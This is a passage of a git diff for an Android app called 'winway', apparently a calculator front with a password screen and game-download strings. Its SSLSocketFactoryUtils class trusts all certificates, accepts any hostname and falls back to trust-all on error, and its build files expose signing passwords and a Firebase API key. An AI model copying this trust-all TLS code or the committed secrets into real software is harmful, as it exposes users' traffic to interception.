b/winway/src/main/java/winway/calculcator/appdown/util/SSLSocketFactoryUtils.java @@ -0,0 +1,168 @@ +package winway.calculcator.appdown.util; + +import android.content.Context; +import android.text.TextUtils; + +import androidx.annotation.RawRes; + +import java.io.InputStream; +import java.security.KeyStore; +import java.security.SecureRandom; +import java.security.cert.Certificate; +import java.security.cert.CertificateException; +import java.security.cert.CertificateFactory; +import java.security.cert.X509Certificate; +import java.util.Arrays; + +import javax.net.ssl.HostnameVerifier; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSession; +import javax.net.ssl.SSLSocketFactory; +import javax.net.ssl.TrustManager; +import javax.net.ssl.TrustManagerFactory; +import javax.net.ssl.X509TrustManager; + + +/** + * @author Jenly Jenly + */ +public final class SSLSocketFactoryUtils { + + private static final String[] VERIFY_HOST_NAME = new String[]{}; + + private SSLSocketFactoryUtils() { + throw new AssertionError(); + } + + public static SSLSocketFactory createSSLSocketFactory() { + SSLSocketFactory sslSocketFactory = null; + try { + SSLContext sslContext = SSLContext.getInstance("TLS"); + sslContext.init(null, getTrustAllManager(), new SecureRandom()); + sslSocketFactory = sslContext.getSocketFactory(); + } catch (Exception e) { + + } + return sslSocketFactory; + } + + public static X509TrustManager createTrustAllManager() { + X509TrustManager tm = null; + try { + tm = new X509TrustManager() { + public void checkClientTrusted(X509Certificate[] chain, String authType) + throws CertificateException { + //do nothing + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) + throws CertificateException { + //do nothing + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + }; + } catch (Exception e) { + e.printStackTrace(); + } + return tm; + } + + public static TrustAllHostnameVerifier createTrustAllHostnameVerifier() { + return new TrustAllHostnameVerifier(); + } + + public static class TrustAllHostnameVerifier implements HostnameVerifier { + @Override + public boolean verify(String hostname, SSLSession session) { + if (TextUtils.isEmpty(hostname)) { + return false; + } + return !Arrays.asList(VERIFY_HOST_NAME).contains(hostname); + } + } + + /** + * @param context + * @param keyServerStoreID + * @return + */ + public static SSLSocketFactory createSSLSocketFactory(Context context, @RawRes int keyServerStoreID) { + InputStream trustStream = context.getResources().openRawResource(keyServerStoreID); + return createSSLSocketFactory(trustStream); + } + + /** + * @param certificates + * @return + */ + public static SSLSocketFactory createSSLSocketFactory(InputStream... certificates) { + SSLSocketFactory sSLSocketFactory = null; + if (sSLSocketFactory == null) { + synchronized (SSLSocketFactoryUtils.class) { + if (sSLSocketFactory == null) { + try { + SSLContext sslContext = SSLContext.getInstance("TLS"); + sslContext.init(null, getTrustManager(certificates), new SecureRandom()); + sSLSocketFactory = sslContext.getSocketFactory(); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } + return sSLSocketFactory; + } + + /** + * 获得指定流中的服务器端证书库 + * + * @param certificates + * @return + */ + public static TrustManager[] getTrustManager(InputStream... certificates) { + try { + CertificateFactory certificateFactory = CertificateFactory.getInstance("X.509"); + KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType()); + keyStore.load(null, null); + int index = 0; + for (InputStream certificate : certificates) { + if (certificate == null) { + continue; + } + Certificate certificate1; + try { + certificate1 = certificateFactory.generateCertificate(certificate); + } finally { + certificate.close(); + } + + String certificateAlias = Integer.toString(index++); + keyStore.setCertificateEntry(certificateAlias, certificate1); + } + + TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory + .getDefaultAlgorithm()); + + trustManagerFactory.init(keyStore); + return trustManagerFactory.getTrustManagers(); + + } catch (Exception e) { + e.printStackTrace(); + + } + + return getTrustAllManager(); + } + + /** + * 获得信任所有服务器端证书库 + */ + public static TrustManager[] getTrustAllManager() { + return new TrustManager[]{createTrustAllManager()}; + } + + +} diff --git a/winway/src/main/res/drawable-anydpi/ic_action_back.xml b/winway/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/winway/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/winway/src/main/res/drawable-hdpi/ic_action_back.png b/winway/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/winway/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/winway/src/main/res/drawable-mdpi/ic_action_back.png b/winway/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/winway/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/winway/src/main/res/drawable-v24/ic_launcher_foreground.xml b/winway/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/winway/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/winway/src/main/res/drawable-xhdpi/ic_action_back.png b/winway/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/winway/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/winway/src/main/res/drawable-xxhdpi/ic_action_back.png b/winway/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/winway/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/winway/src/main/res/drawable-xxhdpi/index_log.png b/winway/src/main/res/drawable-xxhdpi/index_log.png new file mode 100644 index 0000000..74e08a7 Binary files /dev/null and b/winway/src/main/res/drawable-xxhdpi/index_log.png differ diff --git a/winway/src/main/res/drawable/ic_launcher_background.xml b/winway/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/winway/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winway/src/main/res/drawable/pass_word_bg.xml b/winway/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/winway/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/winway/src/main/res/drawable/pass_word_bg1.xml b/winway/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..962cf11 --- /dev/null +++ b/winway/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/winway/src/main/res/drawable/pass_word_bg2.xml b/winway/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/winway/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/winway/src/main/res/drawable/shape_dialog_bg_new.xml b/winway/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/winway/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winway/src/main/res/layout/activity_main.xml b/winway/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..48eacca --- /dev/null +++ b/winway/src/main/res/layout/activity_main.xml @@ -0,0 +1,351 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winway/src/main/res/layout/activity_main2.xml b/winway/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..9b63d3f --- /dev/null +++ b/winway/src/main/res/layout/activity_main2.xml @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winway/src/main/res/layout/activity_main3.xml b/winway/src/main/res/layout/activity_main3.xml new file mode 100644 index 0000000..db68967 --- /dev/null +++ b/winway/src/main/res/layout/activity_main3.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winway/src/main/res/layout/activity_start.xml b/winway/src/main/res/layout/activity_start.xml new file mode 100644 index 0000000..ad49056 --- /dev/null +++ b/winway/src/main/res/layout/activity_start.xml @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winway/src/main/res/layout/activity_webview.xml b/winway/src/main/res/layout/activity_webview.xml new file mode 100644 index 0000000..bdcfef3 --- /dev/null +++ b/winway/src/main/res/layout/activity_webview.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winway/src/main/res/layout/dialog_action_confirm.xml b/winway/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..ff8344f --- /dev/null +++ b/winway/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,73 @@ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winway/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/winway/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/winway/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winway/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/winway/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/winway/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winway/src/main/res/mipmap-hdpi/ic_launcher.png b/winway/src/main/res/mipmap-hdpi/ic_launcher.png new file mode 100644 index 0000000..a571e60 Binary files /dev/null and b/winway/src/main/res/mipmap-hdpi/ic_launcher.png differ diff --git a/winway/src/main/res/mipmap-hdpi/ic_launcher_round.png b/winway/src/main/res/mipmap-hdpi/ic_launcher_round.png new file mode 100644 index 0000000..61da551 Binary files /dev/null and b/winway/src/main/res/mipmap-hdpi/ic_launcher_round.png differ diff --git a/winway/src/main/res/mipmap-mdpi/ic_launcher.png b/winway/src/main/res/mipmap-mdpi/ic_launcher.png new file mode 100644 index 0000000..c41dd28 Binary files /dev/null and b/winway/src/main/res/mipmap-mdpi/ic_launcher.png differ diff --git a/winway/src/main/res/mipmap-mdpi/ic_launcher_round.png b/winway/src/main/res/mipmap-mdpi/ic_launcher_round.png new file mode 100644 index 0000000..db5080a Binary files /dev/null and b/winway/src/main/res/mipmap-mdpi/ic_launcher_round.png differ diff --git a/winway/src/main/res/mipmap-xhdpi/ic_launcher.png b/winway/src/main/res/mipmap-xhdpi/ic_launcher.png new file mode 100644 index 0000000..6dba46d Binary files /dev/null and b/winway/src/main/res/mipmap-xhdpi/ic_launcher.png differ diff --git a/winway/src/main/res/mipmap-xhdpi/ic_launcher_round.png b/winway/src/main/res/mipmap-xhdpi/ic_launcher_round.png new file mode 100644 index 0000000..da31a87 Binary files /dev/null and b/winway/src/main/res/mipmap-xhdpi/ic_launcher_round.png differ diff --git a/winway/src/main/res/mipmap-xxhdpi/ic_launcher.png b/winway/src/main/res/mipmap-xxhdpi/ic_launcher.png new file mode 100644 index 0000000..15ac681 Binary files /dev/null and b/winway/src/main/res/mipmap-xxhdpi/ic_launcher.png differ diff --git a/winway/src/main/res/mipmap-xxhdpi/ic_launcher_round.png b/winway/src/main/res/mipmap-xxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..b216f2d Binary files /dev/null and b/winway/src/main/res/mipmap-xxhdpi/ic_launcher_round.png differ diff --git a/winway/src/main/res/mipmap-xxhdpi/jisuanqi_logo.jpg b/winway/src/main/res/mipmap-xxhdpi/jisuanqi_logo.jpg new file mode 100644 index 0000000..3e10da3 Binary files /dev/null and b/winway/src/main/res/mipmap-xxhdpi/jisuanqi_logo.jpg differ diff --git a/winway/src/main/res/mipmap-xxhdpi/winway.jpg b/winway/src/main/res/mipmap-xxhdpi/winway.jpg new file mode 100644 index 0000000..e8a1869 Binary files /dev/null and b/winway/src/main/res/mipmap-xxhdpi/winway.jpg differ diff --git a/winway/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/winway/src/main/res/mipmap-xxxhdpi/ic_launcher.png new file mode 100644 index 0000000..f25a419 Binary files /dev/null and b/winway/src/main/res/mipmap-xxxhdpi/ic_launcher.png differ diff --git a/winway/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png b/winway/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..e96783c Binary files /dev/null and b/winway/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png differ diff --git a/winway/src/main/res/mipmap-xxxhdpi/index_log1.jpg b/winway/src/main/res/mipmap-xxxhdpi/index_log1.jpg new file mode 100644 index 0000000..cfc083c Binary files /dev/null and b/winway/src/main/res/mipmap-xxxhdpi/index_log1.jpg differ diff --git a/winway/src/main/res/values-en-rMY/strings.xml b/winway/src/main/res/values-en-rMY/strings.xml new file mode 100644 index 0000000..ac66879 --- /dev/null +++ b/winway/src/main/res/values-en-rMY/strings.xml @@ -0,0 +1,5 @@ + + kalkulator + WINWAY + Sila Set Password Kamu + \ No newline at end of file diff --git a/winway/src/main/res/values-en/strings.xml b/winway/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..3ffe944 --- /dev/null +++ b/winway/src/main/res/values-en/strings.xml @@ -0,0 +1,25 @@ + + Calculator + WINWAY + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 正在获取下载数据… + 版本更新 + 下载游戏中 + Need to turn on mobile phone notification permission + Cancel + Setting + + \ No newline at end of file diff --git a/winway/src/main/res/values-myn/strings.xml b/winway/src/main/res/values-myn/strings.xml new file mode 100644 index 0000000..ac66879 --- /dev/null +++ b/winway/src/main/res/values-myn/strings.xml @@ -0,0 +1,5 @@ + + kalkulator + WINWAY + Sila Set Password Kamu + \ No newline at end of file diff --git a/winway/src/main/res/values-night/themes.xml b/winway/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4bf7105 --- /dev/null +++ b/winway/src/main/res/values-night/themes.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winway/src/main/res/values/colors.xml b/winway/src/main/res/values/colors.xml new file mode 100644 index 0000000..b36f4fb --- /dev/null +++ b/winway/src/main/res/values/colors.xml @@ -0,0 +1,13 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFF + + \ No newline at end of file diff --git a/winway/src/main/res/values/strings.xml b/winway/src/main/res/values/strings.xml new file mode 100644 index 0000000..3026aea --- /dev/null +++ b/winway/src/main/res/values/strings.xml @@ -0,0 +1,24 @@ + + 计算器 + WINWAY + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 取消 + 设置 + \ No newline at end of file diff --git a/winway/src/main/res/values/themes.xml b/winway/src/main/res/values/themes.xml new file mode 100644 index 0000000..d60e70a --- /dev/null +++ b/winway/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winway/src/main/res/xml/app_updater_paths.xml b/winway/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/winway/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/winway/src/main/res/xml/network_security_config.xml b/winway/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/winway/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/winway/src/main/res/xml/provider_paths.xml b/winway/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/winway/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/winway/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/winway/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/winway/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/winwaynew/.gitignore b/winwaynew/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/winwaynew/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/winwaynew/build.gradle b/winwaynew/build.gradle new file mode 100644 index 0000000..34a051c --- /dev/null +++ b/winwaynew/build.gradle @@ -0,0 +1,85 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 30 + buildToolsVersion "30.0.3" + + defaultConfig { + applicationId "just.way" + minSdkVersion 21 + targetSdkVersion 30 + versionCode 44 + versionName "3.2.4" + + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + buildTypes { + release { + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + signingConfigs { + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + + implementation 'androidx.appcompat:appcompat:1.1.0' + implementation 'com.google.android.material:material:1.1.0' + implementation 'androidx.constraintlayout:constraintlayout:1.1.3' + testImplementation 'junit:junit:4.+' + androidTestImplementation 'androidx.test.ext:junit:1.1.1' + androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0' + implementation files('libs\\tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar') + + // okhttp相关库 + implementation 'com.squareup.okhttp3:okhttp:4.9.3' + + // JSON解析库 + implementation 'com.google.code.gson:gson:2.9.0' + implementation 'com.alibaba:fastjson:1.1.71.android' + api 'com.squareup.retrofit2:retrofit:2.5.0' + api 'com.squareup.retrofit2:converter-scalars:2.3.0' + api 'com.squareup.retrofit2:converter-gson:2.4.0' + api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0' + api 'io.reactivex.rxjava2:rxjava:2.1.16' + api 'io.reactivex.rxjava2:rxandroid:2.0.2' + implementation 'com.squareup.okhttp3:logging-interceptor:3.10.0' + implementation 'com.github.Justson.AgentWeb:agentweb-core:v5.0.6-androidx' // (必选) + implementation 'com.github.Justson.AgentWeb:agentweb-filechooser:v5.0.6-androidx' // (可选) + implementation 'com.github.Justson:Downloader:v5.0.4-androidx' + //implementation 'com.tencent.tbs:tbssdk:44286' + // sdk 33 +// implementation platform('com.google.firebase:firebase-bom:32.7.0') + // Firebase Cloud Messaging +// implementation("com.google.firebase:firebase-messaging") +// implementation("com.google.firebase:firebase-analytics") + + implementation("com.google.firebase:firebase-messaging:23.0.0") + implementation("com.google.firebase:firebase-analytics:20.0.0") + // implementation 'com.google.firebase:firebase-messaging-directboot:20.2.0' //直接启动模式 + + implementation("com.github.bumptech.glide:glide:4.13.1") +} \ No newline at end of file diff --git a/winwaynew/google-services.json b/winwaynew/google-services.json new file mode 100644 index 0000000..73311da --- /dev/null +++ b/winwaynew/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "66230459052", + "project_id": "just-way-eb6ae", + "storage_bucket": "just-way-eb6ae.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:66230459052:android:1782975166f8b0bb35dd09", + "android_client_info": { + "package_name": "just.way" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAMJUxbpF8L-HqRKzcm4v8PErxBgo8UAMI" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/winwaynew/jiyoukey b/winwaynew/jiyoukey new file mode 100644 index 0000000..8a2f436 Binary files /dev/null and b/winwaynew/jiyoukey differ diff --git a/winwaynew/justlet.jks b/winwaynew/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/winwaynew/justlet.jks differ diff --git a/winwaynew/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar b/winwaynew/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar new file mode 100644 index 0000000..465ea1b Binary files /dev/null and b/winwaynew/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar differ diff --git a/winwaynew/proguard-rules.pro b/winwaynew/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/winwaynew/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/toto88new/release/output-metadata.json b/winwaynew/release/output-metadata.json similarity index 61% rename from toto88new/release/output-metadata.json rename to winwaynew/release/output-metadata.json index 351b7e7..4b8afc4 100644 --- a/toto88new/release/output-metadata.json +++ b/winwaynew/release/output-metadata.json @@ -4,15 +4,15 @@ "type": "APK", "kind": "Directory" }, - "applicationId": "com.web.tt88", + "applicationId": "just.way", "variantName": "processReleaseResources", "elements": [ { "type": "SINGLE", "filters": [], - "versionCode": 112, - "versionName": "v1.1.2", - "outputFile": "toto88.apk" + "versionCode": 44, + "versionName": "3.2.4", + "outputFile": "winwaynew-release.apk" } ] } \ No newline at end of file diff --git a/winwaynew/release/winway-3.1.7-37.apk b/winwaynew/release/winway-3.1.7-37.apk new file mode 100644 index 0000000..649bf22 Binary files /dev/null and b/winwaynew/release/winway-3.1.7-37.apk differ diff --git a/winwaynew/release/winway-calculator-v3.2.2-42.apk b/winwaynew/release/winway-calculator-v3.2.2-42.apk new file mode 100644 index 0000000..e641120 Binary files /dev/null and b/winwaynew/release/winway-calculator-v3.2.2-42.apk differ diff --git a/winwaynew/release/winway-calculator-v3.2.3-43.apk b/winwaynew/release/winway-calculator-v3.2.3-43.apk new file mode 100644 index 0000000..25cae4f Binary files /dev/null and b/winwaynew/release/winway-calculator-v3.2.3-43.apk differ diff --git a/winwaynew/release/winway-calculator-v3.2.4-44.apk b/winwaynew/release/winway-calculator-v3.2.4-44.apk new file mode 100644 index 0000000..2913d04 Binary files /dev/null and b/winwaynew/release/winway-calculator-v3.2.4-44.apk differ diff --git a/winwaynew/release/winway-calculator_44.apk b/winwaynew/release/winway-calculator_44.apk new file mode 100644 index 0000000..34a359d Binary files /dev/null and b/winwaynew/release/winway-calculator_44.apk differ diff --git a/winwaynew/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/winwaynew/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/winwaynew/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/winwaynew/src/main/AndroidManifest.xml b/winwaynew/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3f55741 --- /dev/null +++ b/winwaynew/src/main/AndroidManifest.xml @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/java/just/way/ActionConfirmDialog.java b/winwaynew/src/main/java/just/way/ActionConfirmDialog.java new file mode 100644 index 0000000..1bf622f --- /dev/null +++ b/winwaynew/src/main/java/just/way/ActionConfirmDialog.java @@ -0,0 +1,124 @@ +package just.way; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.ViewTreeObserver; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +/** + * 通用弹窗 + */ +public class ActionConfirmDialog extends Dialog { + private final Context context; + private View lineV; + + private TextView contentTv; + private TextView cancelTv; + private TextView sumbitTv; + String title; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(); + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionConfirmDialog(Context context, String content,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.showCancel = showCancel; + } + public ActionConfirmDialog(Context context, String content, String cancel, String sure) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + } + + public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_confirm); + + contentTv = (TextView) findViewById(R.id.content_tv); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + + lineV = (View) findViewById(R.id.line_v); + + contentTv.setText(content); + contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { + @Override + public boolean onPreDraw() { + //这个监听的回调是异步的,在监听完以后一定要把绘制监听移除,不然这个会一直回调,导致界面错乱 + contentTv.getViewTreeObserver().removeOnPreDrawListener(this); + int line = contentTv.getLineCount(); + if(line>1){ + contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL); + } + + return true; + } + }); + if(!TextUtils.isEmpty(cancel)){ + cancelTv.setText(cancel); + } + if(!TextUtils.isEmpty(sure)){ + sumbitTv.setText(sure); + } + if(!showCancel){ + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toSumbit(); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toCancel(); + } + }); + + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/winwaynew/src/main/java/just/way/Api.java b/winwaynew/src/main/java/just/way/Api.java new file mode 100644 index 0000000..a05ccc1 --- /dev/null +++ b/winwaynew/src/main/java/just/way/Api.java @@ -0,0 +1,68 @@ +package just.way; + +import java.net.Proxy; +import java.util.concurrent.TimeUnit; + +import okhttp3.OkHttpClient; +import okhttp3.logging.HttpLoggingInterceptor; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.mvvm.api + * 文件名: Api + * 创建时间: 2019-03-27 on 14:56 + * 描述: TODO 使用Retrofit基础服务 + * + * @author + */ + +public class Api extends BaseApi { + + private static final long CONNECT_TIMEOUT = 15; + private static final long READ_TIMEOUT = 15; + private static final long WRITE_TIMEOUT = 15; + + /** + * 静态内部类单例 + */ + private static class ApiHolder { + private static Api api = new Api(); + private final static ApiService apiService = api.initRetrofit(ApiService.URL) + .create(ApiService.class); + + } + + public static ApiService getInstance() { + return ApiHolder.apiService; + } + /** + * 做自己需要的操作 + */ + @Override + protected OkHttpClient setClient() { + 